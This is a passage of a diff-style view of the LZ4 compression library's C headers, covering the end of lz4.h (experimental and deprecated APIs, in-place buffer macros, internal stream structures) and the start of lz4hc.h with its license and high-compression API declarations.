||||||
|
int compressedSize,
|
||||||
|
int targetOutputSize, int maxOutputSize,
|
||||||
|
const char* dictStart, int dictSize);
|
||||||
|
|
||||||
|
#endif /* LZ4_H_2983827168210 */
|
||||||
|
|
||||||
|
|
||||||
|
/*^*************************************
|
||||||
|
* !!!!!! STATIC LINKING ONLY !!!!!!
|
||||||
|
***************************************/
|
||||||
|
|
||||||
|
/*-****************************************************************************
|
||||||
|
* Experimental section
|
||||||
|
*
|
||||||
|
* Symbols declared in this section must be considered unstable. Their
|
||||||
|
* signatures or semantics may change, or they may be removed altogether in the
|
||||||
|
* future. They are therefore only safe to depend on when the caller is
|
||||||
|
* statically linked against the library.
|
||||||
|
*
|
||||||
|
* To protect against unsafe usage, not only are the declarations guarded,
|
||||||
|
* the definitions are hidden by default
|
||||||
|
* when building LZ4 as a shared/dynamic library.
|
||||||
|
*
|
||||||
|
* In order to access these declarations,
|
||||||
|
* define LZ4_STATIC_LINKING_ONLY in your application
|
||||||
|
* before including LZ4's headers.
|
||||||
|
*
|
||||||
|
* In order to make their implementations accessible dynamically, you must
|
||||||
|
* define LZ4_PUBLISH_STATIC_FUNCTIONS when building the LZ4 library.
|
||||||
|
******************************************************************************/
|
||||||
|
|
||||||
|
#ifdef LZ4_STATIC_LINKING_ONLY
|
||||||
|
|
||||||
|
#ifndef LZ4_STATIC_3504398509
|
||||||
|
#define LZ4_STATIC_3504398509
|
||||||
|
|
||||||
|
#ifdef LZ4_PUBLISH_STATIC_FUNCTIONS
|
||||||
|
#define LZ4LIB_STATIC_API LZ4LIB_API
|
||||||
|
#else
|
||||||
|
#define LZ4LIB_STATIC_API
|
||||||
|
#endif
|
||||||
|
|
||||||
|
|
||||||
|
/*! LZ4_compress_fast_extState_fastReset() :
|
||||||
|
* A variant of LZ4_compress_fast_extState().
|
||||||
|
*
|
||||||
|
* Using this variant avoids an expensive initialization step.
|
||||||
|
* It is only safe to call if the state buffer is known to be correctly initialized already
|
||||||
|
* (see above comment on LZ4_resetStream_fast() for a definition of "correctly initialized").
|
||||||
|
* From a high level, the difference is that
|
||||||
|
* this function initializes the provided state with a call to something like LZ4_resetStream_fast()
|
||||||
|
* while LZ4_compress_fast_extState() starts with a call to LZ4_resetStream().
|
||||||
|
*/
|
||||||
|
LZ4LIB_STATIC_API int LZ4_compress_fast_extState_fastReset (void* state, const char* src, char* dst, int srcSize, int dstCapacity, int acceleration);
|
||||||
|
|
||||||
|
/*! LZ4_attach_dictionary() :
|
||||||
|
* This is an experimental API that allows
|
||||||
|
* efficient use of a static dictionary many times.
|
||||||
|
*
|
||||||
|
* Rather than re-loading the dictionary buffer into a working context before
|
||||||
|
* each compression, or copying a pre-loaded dictionary's LZ4_stream_t into a
|
||||||
|
* working LZ4_stream_t, this function introduces a no-copy setup mechanism,
|
||||||
|
* in which the working stream references the dictionary stream in-place.
|
||||||
|
*
|
||||||
|
* Several assumptions are made about the state of the dictionary stream.
|
||||||
|
* Currently, only streams which have been prepared by LZ4_loadDict() should
|
||||||
|
* be expected to work.
|
||||||
|
*
|
||||||
|
* Alternatively, the provided dictionaryStream may be NULL,
|
||||||
|
* in which case any existing dictionary stream is unset.
|
||||||
|
*
|
||||||
|
* If a dictionary is provided, it replaces any pre-existing stream history.
|
||||||
|
* The dictionary contents are the only history that can be referenced and
|
||||||
|
* logically immediately precede the data compressed in the first subsequent
|
||||||
|
* compression call.
|
||||||
|
*
|
||||||
|
* The dictionary will only remain attached to the working stream through the
|
||||||
|
* first compression call, at the end of which it is cleared. The dictionary
|
||||||
|
* stream (and source buffer) must remain in-place / accessible / unchanged
|
||||||
|
* through the completion of the first compression call on the stream.
|
||||||
|
*/
|
||||||
|
LZ4LIB_STATIC_API void
|
||||||
|
LZ4_attach_dictionary(LZ4_stream_t* workingStream,
|
||||||
|
const LZ4_stream_t* dictionaryStream);
|
||||||
|
|
||||||
|
|
||||||
|
/*! In-place compression and decompression
|
||||||
|
*
|
||||||
|
* It's possible to have input and output sharing the same buffer,
|
||||||
|
* for highly constrained memory environments.
|
||||||
|
* In both cases, it requires input to lay at the end of the buffer,
|
||||||
|
* and decompression to start at beginning of the buffer.
|
||||||
|
* Buffer size must feature some margin, hence be larger than final size.
|
||||||
|
*
|
||||||
|
* |<------------------------buffer--------------------------------->|
|
||||||
|
* |<-----------compressed data--------->|
|
||||||
|
* |<-----------decompressed size------------------>|
|
||||||
|
* |<----margin---->|
|
||||||
|
*
|
||||||
|
* This technique is more useful for decompression,
|
||||||
|
* since decompressed size is typically larger,
|
||||||
|
* and margin is short.
|
||||||
|
*
|
||||||
|
* In-place decompression will work inside any buffer
|
||||||
|
* which size is >= LZ4_DECOMPRESS_INPLACE_BUFFER_SIZE(decompressedSize).
|
||||||
|
* This presumes that decompressedSize > compressedSize.
|
||||||
|
* Otherwise, it means compression actually expanded data,
|
||||||
|
* and it would be more efficient to store such data with a flag indicating it's not compressed.
|
||||||
|
* This can happen when data is not compressible (already compressed, or encrypted).
|
||||||
|
*
|
||||||
|
* For in-place compression, margin is larger, as it must be able to cope with both
|
||||||
|
* history preservation, requiring input data to remain unmodified up to LZ4_DISTANCE_MAX,
|
||||||
|
* and data expansion, which can happen when input is not compressible.
|
||||||
|
* As a consequence, buffer size requirements are much higher,
|
||||||
|
* and memory savings offered by in-place compression are more limited.
|
||||||
|
*
|
||||||
|
* There are ways to limit this cost for compression :
|
||||||
|
* - Reduce history size, by modifying LZ4_DISTANCE_MAX.
|
||||||
|
* Note that it is a compile-time constant, so all compressions will apply this limit.
|
||||||
|
* Lower values will reduce compression ratio, except when input_size < LZ4_DISTANCE_MAX,
|
||||||
|
* so it's a reasonable trick when inputs are known to be small.
|
||||||
|
* - Require the compressor to deliver a "maximum compressed size".
|
||||||
|
* This is the `dstCapacity` parameter in `LZ4_compress*()`.
|
||||||
|
* When this size is < LZ4_COMPRESSBOUND(inputSize), then compression can fail,
|
||||||
|
* in which case, the return code will be 0 (zero).
|
||||||
|
* The caller must be ready for these cases to happen,
|
||||||
|
* and typically design a backup scheme to send data uncompressed.
|
||||||
|
* The combination of both techniques can significantly reduce
|
||||||
|
* the amount of margin required for in-place compression.
|
||||||
|
*
|
||||||
|
* In-place compression can work in any buffer
|
||||||
|
* which size is >= (maxCompressedSize)
|
||||||
|
* with maxCompressedSize == LZ4_COMPRESSBOUND(srcSize) for guaranteed compression success.
|
||||||
|
* LZ4_COMPRESS_INPLACE_BUFFER_SIZE() depends on both maxCompressedSize and LZ4_DISTANCE_MAX,
|
||||||
|
* so it's possible to reduce memory requirements by playing with them.
|
||||||
|
*/
|
||||||
|
|
||||||
|
#define LZ4_DECOMPRESS_INPLACE_MARGIN(compressedSize) (((compressedSize) >> 8) + 32)
|
||||||
|
#define LZ4_DECOMPRESS_INPLACE_BUFFER_SIZE(decompressedSize) ((decompressedSize) + LZ4_DECOMPRESS_INPLACE_MARGIN(decompressedSize)) /**< note: presumes that compressedSize < decompressedSize. note2: margin is overestimated a bit, since it could use compressedSize instead */
|
||||||
|
|
||||||
|
#ifndef LZ4_DISTANCE_MAX /* history window size; can be user-defined at compile time */
|
||||||
|
# define LZ4_DISTANCE_MAX 65535 /* set to maximum value by default */
|
||||||
|
#endif
|
||||||
|
|
||||||
|
#define LZ4_COMPRESS_INPLACE_MARGIN (LZ4_DISTANCE_MAX + 32) /* LZ4_DISTANCE_MAX can be safely replaced by srcSize when it's smaller */
|
||||||
|
#define LZ4_COMPRESS_INPLACE_BUFFER_SIZE(maxCompressedSize) ((maxCompressedSize) + LZ4_COMPRESS_INPLACE_MARGIN) /**< maxCompressedSize is generally LZ4_COMPRESSBOUND(inputSize), but can be set to any lower value, with the risk that compression can fail (return code 0(zero)) */
|
||||||
|
|
||||||
|
#endif /* LZ4_STATIC_3504398509 */
|
||||||
|
#endif /* LZ4_STATIC_LINKING_ONLY */
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
#ifndef LZ4_H_98237428734687
|
||||||
|
#define LZ4_H_98237428734687
|
||||||
|
|
||||||
|
/*-************************************************************
|
||||||
|
* Private Definitions
|
||||||
|
**************************************************************
|
||||||
|
* Do not use these definitions directly.
|
||||||
|
* They are only exposed to allow static allocation of `LZ4_stream_t` and `LZ4_streamDecode_t`.
|
||||||
|
* Accessing members will expose user code to API and/or ABI break in future versions of the library.
|
||||||
|
**************************************************************/
|
||||||
|
#define LZ4_HASHLOG (LZ4_MEMORY_USAGE-2)
|
||||||
|
#define LZ4_HASHTABLESIZE (1 << LZ4_MEMORY_USAGE)
|
||||||
|
#define LZ4_HASH_SIZE_U32 (1 << LZ4_HASHLOG) /* required as macro for static allocation */
|
||||||
|
|
||||||
|
#if defined(__cplusplus) || (defined (__STDC_VERSION__) && (__STDC_VERSION__ >= 199901L) /* C99 */)
|
||||||
|
# include <stdint.h>
|
||||||
|
typedef int8_t LZ4_i8;
|
||||||
|
typedef uint8_t LZ4_byte;
|
||||||
|
typedef uint16_t LZ4_u16;
|
||||||
|
typedef uint32_t LZ4_u32;
|
||||||
|
#else
|
||||||
|
typedef signed char LZ4_i8;
|
||||||
|
typedef unsigned char LZ4_byte;
|
||||||
|
typedef unsigned short LZ4_u16;
|
||||||
|
typedef unsigned int LZ4_u32;
|
||||||
|
#endif
|
||||||
|
|
||||||
|
/*! LZ4_stream_t :
|
||||||
|
* Never ever use below internal definitions directly !
|
||||||
|
* These definitions are not API/ABI safe, and may change in future versions.
|
||||||
|
* If you need static allocation, declare or allocate an LZ4_stream_t object.
|
||||||
|
**/
|
||||||
|
|
||||||
|
typedef struct LZ4_stream_t_internal LZ4_stream_t_internal;
|
||||||
|
struct LZ4_stream_t_internal {
|
||||||
|
LZ4_u32 hashTable[LZ4_HASH_SIZE_U32];
|
||||||
|
const LZ4_byte* dictionary;
|
||||||
|
const LZ4_stream_t_internal* dictCtx;
|
||||||
|
LZ4_u32 currentOffset;
|
||||||
|
LZ4_u32 tableType;
|
||||||
|
LZ4_u32 dictSize;
|
||||||
|
/* Implicit padding to ensure structure is aligned */
|
||||||
|
};
|
||||||
|
|
||||||
|
#define LZ4_STREAM_MINSIZE ((1UL << LZ4_MEMORY_USAGE) + 32) /* static size, for inter-version compatibility */
|
||||||
|
union LZ4_stream_u {
|
||||||
|
char minStateSize[LZ4_STREAM_MINSIZE];
|
||||||
|
LZ4_stream_t_internal internal_donotuse;
|
||||||
|
}; /* previously typedef'd to LZ4_stream_t */
|
||||||
|
|
||||||
|
|
||||||
|
/*! LZ4_initStream() : v1.9.0+
|
||||||
|
* An LZ4_stream_t structure must be initialized at least once.
|
||||||
|
* This is automatically done when invoking LZ4_createStream(),
|
||||||
|
* but it's not when the structure is simply declared on stack (for example).
|
||||||
|
*
|
||||||
|
* Use LZ4_initStream() to properly initialize a newly declared LZ4_stream_t.
|
||||||
|
* It can also initialize any arbitrary buffer of sufficient size,
|
||||||
|
* and will @return a pointer of proper type upon initialization.
|
||||||
|
*
|
||||||
|
* Note : initialization fails if size and alignment conditions are not respected.
|
||||||
|
* In which case, the function will @return NULL.
|
||||||
|
* Note2: An LZ4_stream_t structure guarantees correct alignment and size.
|
||||||
|
* Note3: Before v1.9.0, use LZ4_resetStream() instead
|
||||||
|
**/
|
||||||
|
LZ4LIB_API LZ4_stream_t* LZ4_initStream (void* buffer, size_t size);
|
||||||
|
|
||||||
|
|
||||||
|
/*! LZ4_streamDecode_t :
|
||||||
|
* Never ever use below internal definitions directly !
|
||||||
|
* These definitions are not API/ABI safe, and may change in future versions.
|
||||||
|
* If you need static allocation, declare or allocate an LZ4_streamDecode_t object.
|
||||||
|
**/
|
||||||
|
typedef struct {
|
||||||
|
const LZ4_byte* externalDict;
|
||||||
|
const LZ4_byte* prefixEnd;
|
||||||
|
size_t extDictSize;
|
||||||
|
size_t prefixSize;
|
||||||
|
} LZ4_streamDecode_t_internal;
|
||||||
|
|
||||||
|
#define LZ4_STREAMDECODE_MINSIZE 32
|
||||||
|
union LZ4_streamDecode_u {
|
||||||
|
char minStateSize[LZ4_STREAMDECODE_MINSIZE];
|
||||||
|
LZ4_streamDecode_t_internal internal_donotuse;
|
||||||
|
} ; /* previously typedef'd to LZ4_streamDecode_t */
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
/*-************************************
|
||||||
|
* Obsolete Functions
|
||||||
|
**************************************/
|
||||||
|
|
||||||
|
/*! Deprecation warnings
|
||||||
|
*
|
||||||
|
* Deprecated functions make the compiler generate a warning when invoked.
|
||||||
|
* This is meant to invite users to update their source code.
|
||||||
|
* Should deprecation warnings be a problem, it is generally possible to disable them,
|
||||||
|
* typically with -Wno-deprecated-declarations for gcc
|
||||||
|
* or _CRT_SECURE_NO_WARNINGS in Visual.
|
||||||
|
*
|
||||||
|
* Another method is to define LZ4_DISABLE_DEPRECATE_WARNINGS
|
||||||
|
* before including the header file.
|
||||||
|
*/
|
||||||
|
#ifdef LZ4_DISABLE_DEPRECATE_WARNINGS
|
||||||
|
# define LZ4_DEPRECATED(message) /* disable deprecation warnings */
|
||||||
|
#else
|
||||||
|
# if defined (__cplusplus) && (__cplusplus >= 201402) /* C++14 or greater */
|
||||||
|
# define LZ4_DEPRECATED(message) [[deprecated(message)]]
|
||||||
|
# elif defined(_MSC_VER)
|
||||||
|
# define LZ4_DEPRECATED(message) __declspec(deprecated(message))
|
||||||
|
# elif defined(__clang__) || (defined(__GNUC__) && (__GNUC__ * 10 + __GNUC_MINOR__ >= 45))
|
||||||
|
# define LZ4_DEPRECATED(message) __attribute__((deprecated(message)))
|
||||||
|
# elif defined(__GNUC__) && (__GNUC__ * 10 + __GNUC_MINOR__ >= 31)
|
||||||
|
# define LZ4_DEPRECATED(message) __attribute__((deprecated))
|
||||||
|
# else
|
||||||
|
# pragma message("WARNING: LZ4_DEPRECATED needs custom implementation for this compiler")
|
||||||
|
# define LZ4_DEPRECATED(message) /* disabled */
|
||||||
|
# endif
|
||||||
|
#endif /* LZ4_DISABLE_DEPRECATE_WARNINGS */
|
||||||
|
|
||||||
|
/*! Obsolete compression functions (since v1.7.3) */
|
||||||
|
LZ4_DEPRECATED("use LZ4_compress_default() instead") LZ4LIB_API int LZ4_compress (const char* src, char* dest, int srcSize);
|
||||||
|
LZ4_DEPRECATED("use LZ4_compress_default() instead") LZ4LIB_API int LZ4_compress_limitedOutput (const char* src, char* dest, int srcSize, int maxOutputSize);
|
||||||
|
LZ4_DEPRECATED("use LZ4_compress_fast_extState() instead") LZ4LIB_API int LZ4_compress_withState (void* state, const char* source, char* dest, int inputSize);
|
||||||
|
LZ4_DEPRECATED("use LZ4_compress_fast_extState() instead") LZ4LIB_API int LZ4_compress_limitedOutput_withState (void* state, const char* source, char* dest, int inputSize, int maxOutputSize);
|
||||||
|
LZ4_DEPRECATED("use LZ4_compress_fast_continue() instead") LZ4LIB_API int LZ4_compress_continue (LZ4_stream_t* LZ4_streamPtr, const char* source, char* dest, int inputSize);
|
||||||
|
LZ4_DEPRECATED("use LZ4_compress_fast_continue() instead") LZ4LIB_API int LZ4_compress_limitedOutput_continue (LZ4_stream_t* LZ4_streamPtr, const char* source, char* dest, int inputSize, int maxOutputSize);
|
||||||
|
|
||||||
|
/*! Obsolete decompression functions (since v1.8.0) */
|
||||||
|
LZ4_DEPRECATED("use LZ4_decompress_fast() instead") LZ4LIB_API int LZ4_uncompress (const char* source, char* dest, int outputSize);
|
||||||
|
LZ4_DEPRECATED("use LZ4_decompress_safe() instead") LZ4LIB_API int LZ4_uncompress_unknownOutputSize (const char* source, char* dest, int isize, int maxOutputSize);
|
||||||
|
|
||||||
|
/* Obsolete streaming functions (since v1.7.0)
|
||||||
|
* degraded functionality; do not use!
|
||||||
|
*
|
||||||
|
* In order to perform streaming compression, these functions depended on data
|
||||||
|
* that is no longer tracked in the state. They have been preserved as well as
|
||||||
|
* possible: using them will still produce a correct output. However, they don't
|
||||||
|
* actually retain any history between compression calls. The compression ratio
|
||||||
|
* achieved will therefore be no better than compressing each chunk
|
||||||
|
* independently.
|
||||||
|
*/
|
||||||
|
LZ4_DEPRECATED("Use LZ4_createStream() instead") LZ4LIB_API void* LZ4_create (char* inputBuffer);
|
||||||
|
LZ4_DEPRECATED("Use LZ4_createStream() instead") LZ4LIB_API int LZ4_sizeofStreamState(void);
|
||||||
|
LZ4_DEPRECATED("Use LZ4_resetStream() instead") LZ4LIB_API int LZ4_resetStreamState(void* state, char* inputBuffer);
|
||||||
|
LZ4_DEPRECATED("Use LZ4_saveDict() instead") LZ4LIB_API char* LZ4_slideInputBuffer (void* state);
|
||||||
|
|
||||||
|
/*! Obsolete streaming decoding functions (since v1.7.0) */
|
||||||
|
LZ4_DEPRECATED("use LZ4_decompress_safe_usingDict() instead") LZ4LIB_API int LZ4_decompress_safe_withPrefix64k (const char* src, char* dst, int compressedSize, int maxDstSize);
|
||||||
|
LZ4_DEPRECATED("use LZ4_decompress_fast_usingDict() instead") LZ4LIB_API int LZ4_decompress_fast_withPrefix64k (const char* src, char* dst, int originalSize);
|
||||||
|
|
||||||
|
/*! Obsolete LZ4_decompress_fast variants (since v1.9.0) :
|
||||||
|
* These functions used to be faster than LZ4_decompress_safe(),
|
||||||
|
* but this is no longer the case. They are now slower.
|
||||||
|
* This is because LZ4_decompress_fast() doesn't know the input size,
|
||||||
|
* and therefore must progress more cautiously into the input buffer to not read beyond the end of block.
|
||||||
|
* On top of that `LZ4_decompress_fast()` is not protected vs malformed or malicious inputs, making it a security liability.
|
||||||
|
* As a consequence, LZ4_decompress_fast() is strongly discouraged, and deprecated.
|
||||||
|
*
|
||||||
|
* The last remaining LZ4_decompress_fast() specificity is that
|
||||||
|
* it can decompress a block without knowing its compressed size.
|
||||||
|
* Such functionality can be achieved in a more secure manner
|
||||||
|
* by employing LZ4_decompress_safe_partial().
|
||||||
|
*
|
||||||
|
* Parameters:
|
||||||
|
* originalSize : is the uncompressed size to regenerate.
|
||||||
|
* `dst` must be already allocated, its size must be >= 'originalSize' bytes.
|
||||||
|
* @return : number of bytes read from source buffer (== compressed size).
|
||||||
|
* The function expects to finish at block's end exactly.
|
||||||
|
* If the source stream is detected malformed, the function stops decoding and returns a negative result.
|
||||||
|
* note : LZ4_decompress_fast*() requires originalSize. Thanks to this information, it never writes past the output buffer.
|
||||||
|
* However, since it doesn't know its 'src' size, it may read an unknown amount of input, past input buffer bounds.
|
||||||
|
* Also, since match offsets are not validated, match reads from 'src' may underflow too.
|
||||||
|
* These issues never happen if input (compressed) data is correct.
|
||||||
|
* But they may happen if input data is invalid (error or intentional tampering).
|
||||||
|
* As a consequence, use these functions in trusted environments with trusted data **only**.
|
||||||
|
*/
|
||||||
|
LZ4_DEPRECATED("This function is deprecated and unsafe. Consider using LZ4_decompress_safe() instead")
|
||||||
|
LZ4LIB_API int LZ4_decompress_fast (const char* src, char* dst, int originalSize);
|
||||||
|
LZ4_DEPRECATED("This function is deprecated and unsafe. Consider using LZ4_decompress_safe_continue() instead")
|
||||||
|
LZ4LIB_API int LZ4_decompress_fast_continue (LZ4_streamDecode_t* LZ4_streamDecode, const char* src, char* dst, int originalSize);
|
||||||
|
LZ4_DEPRECATED("This function is deprecated and unsafe. Consider using LZ4_decompress_safe_usingDict() instead")
|
||||||
|
LZ4LIB_API int LZ4_decompress_fast_usingDict (const char* src, char* dst, int originalSize, const char* dictStart, int dictSize);
|
||||||
|
|
||||||
|
/*! LZ4_resetStream() :
|
||||||
|
* An LZ4_stream_t structure must be initialized at least once.
|
||||||
|
* This is done with LZ4_initStream(), or LZ4_resetStream().
|
||||||
|
* Consider switching to LZ4_initStream(),
|
||||||
|
* invoking LZ4_resetStream() will trigger deprecation warnings in the future.
|
||||||
|
*/
|
||||||
|
LZ4LIB_API void LZ4_resetStream (LZ4_stream_t* streamPtr);
|
||||||
|
|
||||||
|
|
||||||
|
#endif /* LZ4_H_98237428734687 */
|
||||||
|
|
||||||
|
|
||||||
|
#if defined (__cplusplus)
|
||||||
|
}
|
||||||
|
#endif
|
||||||
@@ -0,0 +1,413 @@
|
|||||||
|
/*
|
||||||
|
LZ4 HC - High Compression Mode of LZ4
|
||||||
|
Header File
|
||||||
|
Copyright (C) 2011-2020, Yann Collet.
|
||||||
|
BSD 2-Clause License (http://www.opensource.org/licenses/bsd-license.php)
|
||||||
|
|
||||||
|
Redistribution and use in source and binary forms, with or without
|
||||||
|
modification, are permitted provided that the following conditions are
|
||||||
|
met:
|
||||||
|
|
||||||
|
* Redistributions of source code must retain the above copyright
|
||||||
|
notice, this list of conditions and the following disclaimer.
|
||||||
|
* Redistributions in binary form must reproduce the above
|
||||||
|
copyright notice, this list of conditions and the following disclaimer
|
||||||
|
in the documentation and/or other materials provided with the
|
||||||
|
distribution.
|
||||||
|
|
||||||
|
THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
|
||||||
|
"AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
|
||||||
|
LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
|
||||||
|
A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
|
||||||
|
OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
|
||||||
|
SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
|
||||||
|
LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
|
||||||
|
DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
|
||||||
|
THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
|
||||||
|
(INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
|
||||||
|
OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
|
||||||
|
|
||||||
|
You can contact the author at :
|
||||||
|
- LZ4 source repository : https://github.com/lz4/lz4
|
||||||
|
- LZ4 public forum : https://groups.google.com/forum/#!forum/lz4c
|
||||||
|
*/
|
||||||
|
#ifndef LZ4_HC_H_19834876238432
|
||||||
|
#define LZ4_HC_H_19834876238432
|
||||||
|
|
||||||
|
#if defined (__cplusplus)
|
||||||
|
extern "C" {
|
||||||
|
#endif
|
||||||
|
|
||||||
|
/* --- Dependency --- */
|
||||||
|
/* note : lz4hc requires lz4.h/lz4.c for compilation */
|
||||||
|
#include "lz4.h" /* stddef, LZ4LIB_API, LZ4_DEPRECATED */
|
||||||
|
|
||||||
|
|
||||||
|
/* --- Useful constants --- */
|
||||||
|
#define LZ4HC_CLEVEL_MIN 3
|
||||||
|
#define LZ4HC_CLEVEL_DEFAULT 9
|
||||||
|
#define LZ4HC_CLEVEL_OPT_MIN 10
|
||||||
|
#define LZ4HC_CLEVEL_MAX 12
|
||||||
|
|
||||||
|
|
||||||
|
/*-************************************
|
||||||
|
* Block Compression
|
||||||
|
**************************************/
|
||||||
|
/*! LZ4_compress_HC() :
|
||||||
|
* Compress data from `src` into `dst`, using the powerful but slower "HC" algorithm.
|
||||||
|
* `dst` must be already allocated.
|
||||||
|
* Compression is guaranteed to succeed if `dstCapacity >= LZ4_compressBound(srcSize)` (see "lz4.h")
|
||||||
|
* Max supported `srcSize` value is LZ4_MAX_INPUT_SIZE (see "lz4.h")
|
||||||
|
* `compressionLevel` : any value between 1 and LZ4HC_CLEVEL_MAX will work.
|
||||||
|
* Values > LZ4HC_CLEVEL_MAX behave the same as LZ4HC_CLEVEL_MAX.
|
||||||
|
* @return : the number of bytes written into 'dst'
|
||||||
|
* or 0 if compression fails.
|
||||||
|
*/
|
||||||
|
LZ4LIB_API int LZ4_compress_HC (const char* src, char* dst, int srcSize, int dstCapacity, int compressionLevel);
|
||||||
|
|
||||||
|
|
||||||
|
/* Note :
|
||||||
|
* Decompression functions are provided within "lz4.h" (BSD license)
|
||||||
|
*/
|
||||||
|
|
||||||
|
|
||||||
|
/*! LZ4_compress_HC_extStateHC() :
|
||||||
|
* Same as LZ4_compress_HC(), but using an externally allocated memory segment for `state`.
|
||||||
|
* `state` size is provided by LZ4_sizeofStateHC().
|
||||||
|
* Memory segment must be aligned on 8-bytes boundaries (which a normal malloc() should do properly).
|
||||||
|
*/
|
||||||
|
LZ4LIB_API int LZ4_sizeofStateHC(void);
|
||||||
|
LZ4LIB_API int LZ4_compress_HC_extStateHC(void* stateHC, const char* src, char* dst, int srcSize, int maxDstSize, int compressionLevel);
|
||||||
|
|
||||||
|
|
||||||
|
/*! LZ4_compress_HC_destSize() : v1.9.0+
|
||||||
|
* Will compress as much data as possible from `src`
|
||||||
|
* to fit into `targetDstSize` budget.
|
||||||
|
* Result is provided in 2 parts :
|
||||||
|
* @return : the number of bytes written into 'dst' (necessarily <= targetDstSize)
|
||||||
|
* or 0 if compression fails.
|
||||||
|
* `srcSizePtr` : on success, *srcSizePtr is updated to indicate how much bytes were read from `src`
|
||||||
|
*/
|
||||||
|
LZ4LIB_API int LZ4_compress_HC_destSize(void* stateHC,
|
||||||
|
const char* src, char* dst,
|
||||||
|
int* srcSizePtr, int targetDstSize,
|
||||||
|
int compressionLevel);
|
||||||
|
|
||||||
|
|
||||||
|
/*-************************************
|
||||||
|
* Streaming Compression
|
||||||
|
* Bufferless synchronous API
|
||||||
|
**************************************/
|
||||||
|
typedef union LZ4_streamHC_u LZ4_streamHC_t; /* incomplete type (defined later) */
|
||||||
|
|
||||||
|
/*! LZ4_createStreamHC() and LZ4_freeStreamHC() :
|
||||||
|
* These functions create and release memory for LZ4 HC streaming state.
|
||||||
|
* Newly created states are automatically initialized.
|
||||||
|
* A same state can be used multiple times consecutively,
|
||||||
|
* starting with LZ4_resetStreamHC_fast() to start a new stream of blocks.
|
||||||
|
*/
|
||||||
|
LZ4LIB_API LZ4_streamHC_t* LZ4_createStreamHC(void);
|
||||||
|
LZ4LIB_API int LZ4_freeStreamHC (LZ4_streamHC_t* streamHCPtr);
|
||||||
|
|
||||||
|
/*
|
||||||
|
These functions compress data in successive blocks of any size,
|
||||||
|
using previous blocks as dictionary, to improve compression ratio.
|
||||||
|
One key assumption is that previous blocks (up to 64 KB) remain read-accessible while compressing next blocks.
|
||||||
|
There is an exception for ring buffers, which can be smaller than 64 KB.
|
||||||
|
Ring-buffer scenario is automatically detected and handled within LZ4_compress_HC_continue().
|
||||||
|
|
||||||
|
Before starting compression, state must be allocated and properly initialized.
|
||||||
|
LZ4_createStreamHC() does both, though compression level is set to LZ4HC_CLEVEL_DEFAULT.
|
||||||
|
|
||||||
|
Selecting the compression level can be done with LZ4_resetStreamHC_fast() (starts a new stream)
|
||||||
|
or LZ4_setCompressionLevel() (anytime, between blocks in the same stream) (experimental).
|
||||||
|
LZ4_resetStreamHC_fast() only works on states which have been properly initialized at least once,
|
||||||
|
which is automatically the case when state is created using LZ4_createStreamHC().
|
||||||
|
|
||||||
|
After reset, a first "fictional block" can be designated as initial dictionary,
|
||||||
|
using LZ4_loadDictHC() (Optional).
|
||||||
|
|
||||||
|
Invoke LZ4_compress_HC_continue() to compress each successive block.
|
||||||
|
The number of blocks is unlimited.
|
||||||
|
Previous input blocks, including initial dictionary when present,
|
||||||
|
must remain accessible and unmodified during compression.
|
||||||
|
|
||||||
|
It's allowed to update compression level anytime between blocks,
|
||||||
|
using LZ4_setCompressionLevel() (experimental).
|
||||||
|
|
||||||
|
'dst' buffer should be sized to handle worst case scenarios
|
||||||
|
(see LZ4_compressBound(), it ensures compression success).
|
||||||
|
In case of failure, the API does not guarantee recovery,
|
||||||
|
so the state _must_ be reset.
|
||||||
|
To ensure compression success
|
||||||
|
whenever `dst` buffer size cannot be made >= LZ4_compressBound(),
|
||||||
|
consider using LZ4_compress_HC_continue_destSize().
|
||||||
|
|
||||||
|
Whenever previous input blocks can't be preserved unmodified in-place during compression of next blocks,
|
||||||
|
it's possible to copy the last blocks into a more stable memory space, using LZ4_saveDictHC().
|
||||||
|
Return value of LZ4_saveDictHC() is the size of dictionary effectively saved into 'safeBuffer' (<= 64 KB)
|
||||||
|
|
||||||
|
After completing a streaming compression,
|
||||||
|
it's possible to start a new stream of blocks, using the same LZ4_streamHC_t state,
|
||||||
|
just by resetting it, using LZ4_resetStreamHC_fast().
|
||||||
|
*/
|
||||||
|
|
||||||
|
LZ4LIB_API void LZ4_resetStreamHC_fast(LZ4_streamHC_t* streamHCPtr, int compressionLevel); /* v1.9.0+ */
|
||||||
|
LZ4LIB_API int LZ4_loadDictHC (LZ4_streamHC_t* streamHCPtr, const char* dictionary, int dictSize);
|
||||||
|
|
||||||
|
LZ4LIB_API int LZ4_compress_HC_continue (LZ4_streamHC_t* streamHCPtr,
|
||||||
|
const char* src, char* dst,
|
||||||
|
int srcSize, int maxDstSize);
|
||||||
|
|
||||||
|
/*! LZ4_compress_HC_continue_destSize() : v1.9.0+
|
||||||
|
* Similar to LZ4_compress_HC_continue(),
|
||||||
|
* but will read as much data as possible from `src`
|
||||||
|
* to fit into `targetDstSize` budget.
|
||||||
|
* Result is provided into 2 parts :
|
||||||
|
* @return : the number of bytes written into 'dst' (necessarily <= targetDstSize)
|
||||||
|
* or 0 if compression fails.
|
||||||
|
* `srcSizePtr` : on success, *srcSizePtr will be updated to indicate how much bytes were read from `src`.
|
||||||
|
* Note that this function may not consume the entire input.
|
||||||
|
*/
|
||||||
|
LZ4LIB_API int LZ4_compress_HC_continue_destSize(LZ4_streamHC_t* LZ4_streamHCPtr,
|
||||||
|
const char* src, char* dst,
|
||||||
|
int* srcSizePtr, int targetDstSize);
|
||||||
|
|
||||||
|
